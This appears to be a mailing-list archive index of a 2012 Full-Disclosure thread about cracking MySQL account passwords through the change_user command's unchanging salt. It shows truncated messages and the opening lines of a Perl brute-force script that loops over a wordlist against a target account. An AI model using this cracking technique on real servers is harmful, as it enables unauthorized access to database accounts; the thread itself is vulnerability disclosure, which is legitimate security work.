[Full-disclosure] MySQL Local/Remote FAST Account Password Cracking

2012-12-03 Thread king cope
FAST Cracking of MySQL account passwords locally or over the network (post-auth) (to the maintainers: you don't need to patch this, looks alot like a minor bug, prolly documented :D) I found a method to crack mysql user passwords locally or over the network pretty efficiently. During Tests it was

Re: [Full-disclosure] MySQL Local/Remote FAST Account Password Cracking

2012-12-04 Thread Jeffrey Walton
On Mon, Dec 3, 2012 at 1:13 PM, king cope wrote: > ... > Since the SALT does not change (and this is the weak point) in the > change_user command > it is a convenient way to crack passwords. (When connecting to mysql > in each connection > attempt the SALT is always different and sent out by the s

Re: [Full-disclosure] MySQL Local/Remote FAST Account Password Cracking

2012-12-05 Thread Andres Riancho
El dic 5, 2012 11:09 a.m., "Paul van Bavel" escribió: > > > Where can I find the "mysqlcrack.pl" script. > > Regards, > > Paul > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sp

Re: [Full-disclosure] MySQL Local/Remote FAST Account Password Cracking

2012-12-05 Thread Ulises2k
use Net::MySQL; $|=1; my $mysql = Net::MySQL->new( hostname => '192.168.2.3', database => 'test', user => "user", password => "secret", debug => 0, ); $crackuser = "crackme"; while() { chomp; $currentpass = $_; $vv = join "\0", $crackuser, "\x14".